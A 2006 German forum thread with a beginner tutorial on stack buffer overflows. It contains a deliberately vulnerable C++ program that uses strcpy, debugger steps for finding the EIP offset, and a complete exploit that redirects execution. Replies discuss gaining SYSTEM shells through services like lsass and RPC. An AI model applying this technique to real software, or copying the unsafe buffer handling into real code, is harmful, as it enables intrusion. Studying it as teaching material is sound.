 |  | [Tutorial] Basic Stack Buffer Overflows |
|  |
Verfasst am: 12.12.2006 18:55 |
|
|
Rebellion |
|
 |
 |
Anmeldedatum: 04.01.2006 |
Beiträge: 151 |
Wohnort: %systemroot% |
|
|
 |
 |
 |
|
Moin,
In diesem kurzen Tutorial geht es um die Grundlagen von Stack Overflows.
Da fast alle Buffer Overflow Sources in C geschrieben sind, werde ich es in C++ schreiben (ist aber fast das selbe).
Voraussetzungen die man mitbringen sollte:
- Grundlagen in C/C++ (besonders String-Manipulationen)
- Vllt ein bisschen den Umgang mit Debuggern
Wir werden den EIP[1] mit einer neuen return-Adresse überschreiben.
Zuerst schreiben wir uns kurz eine verwundbare Datei:
Code: | #include <iostream>
#include <string.h>
void text();
int main(int argc, char *argv[])
{
char buffer[256];
strcpy(buffer, argv[1]);
std::cout << buffer;
return 0;
}
void text()
{
std::cout << "Can you see me??";
} |
Wie man sehen kann, werden wir nachher ein Argument an den 256 Byte Buffer übergeben.
Jetzt öffnen wir erstmal nen Debugger (zB OllyDbg).
Wir müssen erstmal wissen, wieviele Bytes im Speicher geschrieben werden, bevor wir den EIP überschreiben können... dazu versuchen wir jetzt einfach mal 264 Bytes in den Buffer zu schreiben.
Wir nehmen einfach 264 "A"s (ist ne bekannte Methode).
Wenn wir das dann im Debugger starten, sehen wir, dass der jetztige EIP 41 41 41 41 ist.
Es werden also 4 Bytes überschrieben... das heisst es werden genau 260 Bytes im Speicher geschrieben.
Kommen wir zur return-Adresse.
Wir öffnen die Datei nochmal ohne Argumente im Debugger und suchen uns unseren String "Can you see me??".
Das sieht dann ungefähr so aus:
Code: | 00401275 |. 68 5A124000 PUSH eins.0040125A ; ASCII "Can you see me??" |
Unsere return-Adresse ist also: \x75\x12\x40 (den NULL Byte brauchen wir nicht).
Mit dem Wissen schreiben wir unser Exploit:
Code: | #include <windows.h> // für WinExec()
#include <string.h>
#include <iostream>
int main()
{
char argument[300] = "C:\\overflow\\app.exe "; // Pfad zur Datei
char return_adr[] = "\x75\x12\x40"; // unsere return-Adresse
char overflow[] = // die 260 Byte
"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA";
strcat(argument, overflow); // wir fügen den Overflow an unserem Pfad an
strcat(argument, return_adr); // und anschließend unsere return-Adresse
WinExec(argument,0);
cin.peek();
return 0;
} |
Wenn alles so gelaufen ist, wie es sein soll, sieht es so aus:
(c) by Rebellion |
|
|
|
|
 | |  |
Verfasst am: 17.12.2006 00:50 |
|
|
4lx |
|
|
 |
Anmeldedatum: 02.01.2006 |
Beiträge: 369 |
Wohnort: /offtopic |
|
|
 |
 |
 |
|
Ich finde das Tut ziemlich toll.
Nur leider kann ich kein C++.
Wäre sowas auch mit anderen Hochsprachen möglich? Das einzige, wo ich mich zu Hause fühle, ist Delphi (Pascal)...
Und noch eine andere Sache:
Was kannst du damit bewirken?
Dass (fast) beliebiger Code in der verwundbare Datei ausgeführt wird?
Und wo kann man sowas praktisch anwenden?
Mir schweben da nur Server vor...
thx |
|
_________________ "Das Staunen ist Anfang der Erkenntnis." -Platon
"Terrorismus ist die Zerstörung von Versorgungseinrichtungen, also Deichen, Wasserwerken, Krankenhäusern, Kraftwerken. Eben alles das, worauf die amerikanischen Bombenangriffe gegen Nordvietnam seit 1965 systematisch abzielten. Der Terrorismus operiert mit der Angst der Massen." - Ulrike Meinhof |
|
|
|
 | |  |
Verfasst am: 17.12.2006 12:14 |
|
|
duddits |
|
 |
 |
Anmeldedatum: 03.01.2006 |
Beiträge: 569 |
Wohnort: /proc |
|
|
 |
 |
 |
|
Hi,
also wie es mit Delphi aussieht weiß ich leider nicht aber bei Java z.B. ist sowas nicht möglich da Java für sowas eine RunTimeException besitzt die solche Zugriffe verhindert.
Weiterhin kümmert sich JVM (JavaVirtuelMachine) um den Speicherzugriff) somit hat der Programmierer damit nichts zu tun.
Was kann man damit machen?
Also wie du schon richtig erkannt hast, ist es damit möglich beliebigen Code ausführen zu lassen je nach dem unter welchen Rechten das Programm läuft.
Beispiel:
Nehmen wir an es wird unter Windows im Prozess lsass.exe ein Bufferoverflow-Lücke gefunden. Da dieser Prozess mit den privilegien System läuft, dies sind die höchsten Rechte die man unter einer Windows-Maschine erhalten kann und schreibt sich jetzt einen Exploit was z.B. mit den rechten von lsass.exe eine Shell (z.B. cmd) öffnet.
Nun hat man z.B. eine Shell offen mit der man alle Rechte hat.
Aber es gibt noch viele andere soclhe Beispiele z.B. sehr beliebt sind solche Dinge wenn man diese Remote ausführen kann und somit zu einem Remote-Rechner unerlaubten Zugriff gelangt.
Wenn ich mich nicht täusche werden solche Char-Codes auch Shellcodes genannt und z.B. Metasploit bietet dafür ein Toolkid mit dem man sschon vorgefrtigte nehmen kann aber ich bin leider noch nciht ngaz dahinter gestiegen^^
Anwendung findet sowas eigentlich im jedne Programm aber Dienste/Daemons sind natürlich viel interessanter z.B. der RPC-Dienst der auf so gut wie jeden Rechner läuft.
Genauso wenn man sich die Lücken für Browser ansieht kommt es auch immemr wieder dazu das solche Lücke gefunden werde.
Achso das Tutorial finde ich übrigens sehr gut gelungen. Hatte bis jetzt immer nur welche über/mit C gelesen.
Obwohl ich kein C++ kann ist doch an diesem Tutorial gut zu erkennen wie ähnlich sich C und C++ sind.
Gruß
daniel |
|
|
|
|
 | |  |
Verfasst am: 17.12.2006 13:37 |
|
|
Rebellion |
|
 |
 |
Anmeldedatum: 04.01.2006 |
Beiträge: 151 |
Wohnort: %systemroot% |
|
|
 |
 |
 |
|
Thx für's Feedback
duddits hat damit ja schon alle Fragen geklärt.
Ich könnte mal nen ausführlicheres eBook daraus machen, falls interesse besteht. |
|
|
|
|
 | |  |
Verfasst am: 17.12.2006 15:22 |
|
|
4lx |
|
|
 |
Anmeldedatum: 02.01.2006 |
Beiträge: 369 |
Wohnort: /offtopic |
|
|
 |
 |
 |
|
Praktischer Weise hat die Hilfe aus Delphi 7 für den Delphi-Syntax immer gleich noch ein Beispiel in C++-Syntax dabei.
Ich werde also, wenn ich mal wieder ordentlich Zeit habe, probieren mich da durchzufuchsen und zumindest ein verwundbares Programm schreiben, um zu sehen, wie man an solche Sicherheitslücken rankommt.
Und ein eBook würde mich, wenn es nicht zu viele Umstände bereitet, freuen.
(Ich hab jetzt mal ein bisschen in der Hilfe rumgestöbert, es scheint irgendwie schon zu gehen. Wenn ich was habe, dann poste ich es.) |
|
_________________ "Das Staunen ist Anfang der Erkenntnis." -Platon
"Terrorismus ist die Zerstörung von Versorgungseinrichtungen, also Deichen, Wasserwerken, Krankenhäusern, Kraftwerken. Eben alles das, worauf die amerikanischen Bombenangriffe gegen Nordvietnam seit 1965 systematisch abzielten. Der Terrorismus operiert mit der Angst der Massen." - Ulrike Meinhof |
|
|
|
 | |  |
Verfasst am: 17.12.2006 15:47 |
|
|
Lukas |
|
|
 |
Anmeldedatum: 31.12.2005 |
Beiträge: 257 |
Wohnort: Wien |
|
|
 |
 |
 |
|
Ja ein ebook darüber würde mich auch brennend interessieren.
Lg |
|
|
|
|
Verfasst am: 19.12.2006 17:14 |
|
|
Rebellion |
|
 |
 |
Anmeldedatum: 04.01.2006 |
Beiträge: 151 |
Wohnort: %systemroot% |
|
|
 |
 |
 |
|
Hm ich hab gerade gesehn, dass ich für das CIB Word-PlugIn ne Lizens brauche, wenn ich das nicht für den privaten Gebrauch verwende... und extra Adobe Acrobat dafür installieren ist auch nicht gerade das Wahre... ich werd das Tutorial dann später sehr wahrscheinlich in HTML schreiben; könnte aber noch etwas dauern. |
|
|
|
|
 | |  |
Verfasst am: 20.12.2006 17:15 |
|
|
4lx |
|
|
 |
Anmeldedatum: 02.01.2006 |
Beiträge: 369 |
Wohnort: /offtopic |
|
|
 |
 |
 |
|
Du könntest auch einfach OpenOffice.org (notfalls eben mit LiveCD) nehmen, ich glaube dass da der Export von PDFs auch ohne Lizens erlaubt ist. (Sonst hab ich auch Mist gebaut.) |
|
_________________ "Das Staunen ist Anfang der Erkenntnis." -Platon
"Terrorismus ist die Zerstörung von Versorgungseinrichtungen, also Deichen, Wasserwerken, Krankenhäusern, Kraftwerken. Eben alles das, worauf die amerikanischen Bombenangriffe gegen Nordvietnam seit 1965 systematisch abzielten. Der Terrorismus operiert mit der Angst der Massen." - Ulrike Meinhof |
|
|
|
 | |  |
Verfasst am: 20.12.2006 20:38 |
|
|
Phara0h |
|
 |
 |
Anmeldedatum: 31.12.2005 |
Beiträge: 357 |
Wohnort: /dev/RL |
|
|
 |
 |
 |
|
Dann haben ne menge Leute Mist gebaut^^
Ich hab schon zu lange nicht mehr mit Windows gearbeitet, aber gibts da nicht auch in Office die Funktion "Print to file"?
zum Thema:
Gute Einführung in das Thema, aber auch nicht mehr.
Wäre auch etwas zu komplex das alles zu behandeln....
Desshalb ein dickes THX dafür! |
|
_________________
 |
|
|
|
Verfasst am: 25.12.2006 19:01 |
|
|
Rebellion |
|
 |
 |
Anmeldedatum: 04.01.2006 |
Beiträge: 151 |
Wohnort: %systemroot% |
|
|
 |
 |
 |
|
Thx für den Tip, hab jetzt OpenOffice.org installiert.
Daran sieht man mal wieder, dass Open-Source alternativen viel bringen... |
|
|
|
|
Foren-Übersicht » Sicherheitslücken |
Du kannst keine Beiträge in dieses Forum schreiben. Du kannst auf Beiträge in diesem Forum nicht antworten. Du kannst deine Beiträge in diesem Forum nicht bearbeiten. Du kannst deine Beiträge in diesem Forum nicht löschen. Du kannst an Umfragen in diesem Forum nicht mitmachen.
|
Alle Zeiten sind GMT + 1 Stunde
Seite 1 von 1
|
|
|
|